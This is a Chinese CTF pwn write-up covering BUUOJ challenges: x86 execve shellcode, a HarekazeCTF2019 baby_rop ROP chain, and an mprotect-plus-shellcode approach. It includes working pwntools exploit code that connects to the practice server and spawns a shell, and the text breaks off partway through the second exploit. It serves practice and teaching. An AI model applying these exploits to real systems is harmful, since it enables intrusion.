2021-08-23
文章目录
做了11道题
整体分析:大多是基础题
shell_asm
题目描述
other_shellcode
题目分析
看main函数、整体程序逻辑↓
直接nc连上去,就getShell了。
我猜:这题主要是想告诉我们x86下的shellcode汇编是怎样的
sys_execve的系统调用方式:
看一下汇编代码:
主要逻辑
- 将file参数赋值
/bin/sh
(主要是这个,相当于用root执行了命令) - argv、env都是0
int 0x80、上面的就相当于调用了sys_execve("/bin/sh",0,0)
x86与x64的区别
系统 | 汇编 |
---|---|
x86 | int 0x80 |
x64 | syscall |
这是libc.so(64位)调用execve在ida的反汇编
参考链接:
http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
BabyROP
题目描述
[HarekazeCTF2019]baby_rop
解题思路
0x01 整体思路
- 同jarvisoj_level2
- 找binsh字符串的地址,x64系统下,调用函数的第一个参数需要修改rdi,所以用ROPgadget找pop rdi的代码
- 找到callee调用system的地址
0x02 额外前置知识:
利用ROPgadget查找pop_rdi
ROPgadget --binary 文件 --only 'pop|ret' | grep 'rdi'
说明:grep用作筛选寄存器为rdi的gadget
Linux搜索全局文件名
$ find / -name flag (找文件名为flag的)
发现getshell后直接cat flag没有这个文件,所以用了命令查找到flag在其他文件夹
0x03 exp
#coding=utf-8
from pwn import *
context.log_level="debug"
isLocal=0
if isLocal:
p=process("/root/babyrop")#
pause()
else :
p=remote("node4.buuoj.cn",25405)
binsh_addr=0x0000000000601048
system_callee_addr=0x00000000004005E3
pop_rdi_binsh_addr=0x0000000000400683 #: pop rdi ; ret
#64 bit need rdi
p.sendlineafter(b"name?",b"a"*0x10+p64(0)+p64(pop_rdi_binsh_addr)+p64(binsh_addr)+p64(system_callee_addr))
p.interactive()
not_the_same_3dsctf_2016
0x01 解题思路
看了Exp研究了之后,大概的思路是这样的:
- 基础是栈溢出实现ROP,返回到任意地址
- 但是程序没有后门地址,也没有GOT可改写利用的代码,同时NX保护也是开启的(不可任意执行shellcode)怎么办呢??
- 程序是静态链接编译的文件,栈溢出后,可调用系统的
mprotect
函数,修改got表权限 - 用
mprotect
修改内存空间的权限,RWX,写入shellcode- 因为mprotect需要3个参数,用ROPgadget找3个参数的gadget
- 第一个参数为修改内存空间的开始地址(**GLOBAL_OFFSET_TABLE**开始地址)
- 第二个参数要赋予权限的空间长度(开始地址~开始地址+长度)
- 第三个参数是赋予的权限(Linux中
7
是指可执行的权限)
- 开了任意执行的空间,写入shellcode,利用系统的
read
- 第一个参数fd文件号(0为输入流、1为输出流)=>(exp代表先压栈buf内容,再读入输入内容)
- 第二参数buf,写入的数据
- 第三个参数len,写入的长度
- 程序是静态链接编译的文件,栈溢出后,可调用系统的
附上mprotect、read系统调用表
参考链接:http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
0x02 exp
from pwn import *;
context.log_level="debug"
context.arch="i386"
context.os="linux"
isLocal=1
if isLocal:
p=process("/root/not_the_same_3dsctf_2016")#
pause()
else :
p=remote("node4.buuoj.cn"